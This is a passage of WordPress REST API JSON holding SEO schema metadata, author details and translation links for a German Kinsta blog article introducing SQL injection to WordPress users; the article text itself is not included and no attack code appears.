class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer\",\"datePublished\":\"2020-01-28T09:26:59+00:00\",\"dateModified\":\"2022-08-16T16:01:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\"},\"wordCount\":2327,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\",\"keywords\":[\"sitesecurity\",\"wordpresshack\"],\"articleSection\":[\"WordPress Sicherheit\"],\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\",\"url\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\",\"name\":\"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzera\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\",\"datePublished\":\"2020-01-28T09:26:59+00:00\",\"dateModified\":\"2022-08-16T16:01:29+00:00\",\"description\":\"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg\",\"width\":1460,\"height\":730,\"caption\":\"SQL Injection\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/de\/\",\"name\":\"Kinsta\",\"description\":\"Schnelle, sichere und hochwertige Hosting-L\u00f6sungen\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/de\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/de\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2018\/05\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2018\/05\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/de\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Kinsta-Deutschland-207459890108303\/\",\"https:\/\/x.com\/Kinsta_DE\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/de\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzera","description":"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/","og_locale":"de_DE","og_type":"article","og_title":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer","og_description":"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.","og_url":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/Kinsta-Deutschland-207459890108303\/","article_published_time":"2020-01-28T09:26:59+00:00","article_modified_time":"2022-08-16T16:01:29+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.","twitter_image":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","twitter_creator":"@Kinsta_DE","twitter_site":"@Kinsta_DE","twitter_misc":{"Verfasst von":"Shaumik Daityari","Gesch\u00e4tzte Lesezeit":"11\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer","datePublished":"2020-01-28T09:26:59+00:00","dateModified":"2022-08-16T16:01:29+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/"},"wordCount":2327,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/de\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","keywords":["sitesecurity","wordpresshack"],"articleSection":["WordPress Sicherheit"],"inLanguage":"de","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/","url":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/","name":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzera","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","datePublished":"2020-01-28T09:26:59+00:00","dateModified":"2022-08-16T16:01:29+00:00","description":"Erfahre, was eine SQL Injection ist, wie die SQL Injection-Schwachstelle in deinen Webanwendungen (wie z.B. WordPress-Seiten) entstehen kann und wie du Angriffe verhindern kannst.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#primaryimage","url":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","contentUrl":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2020\/01\/sql-injection.jpg","width":1460,"height":730,"caption":"SQL Injection"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/de\/blog\/sql-injection\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/de\/"},{"@type":"ListItem","position":2,"name":"SQL Injection: Eine Anf\u00e4ngeranleitung f\u00fcr WordPress-Benutzer"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/de\/#website","url":"https:\/\/staging.kinsta.site\/de\/","name":"Kinsta","description":"Schnelle, sichere und hochwertige Hosting-L\u00f6sungen","publisher":{"@id":"https:\/\/staging.kinsta.site\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/de\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/de\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/staging.kinsta.site\/de\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2018\/05\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/de\/wp-content\/uploads\/sites\/5\/2018\/05\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Kinsta-Deutschland-207459890108303\/","https:\/\/x.com\/Kinsta_DE"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/staging.kinsta.site\/de\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/de\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/posts\/31455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/comments?post=31455"}],"version-history":[{"count":7,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/posts\/31455\/revisions"}],"predecessor-version":[{"id":53373,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/posts\/31455\/revisions\/53373"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/kinsta\/v1\/posts\/31455\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/media\/31469"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/media?parent=31455"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/tags?post=31455"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/de\/wp-json\/wp\/v2\/topic?post=31455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}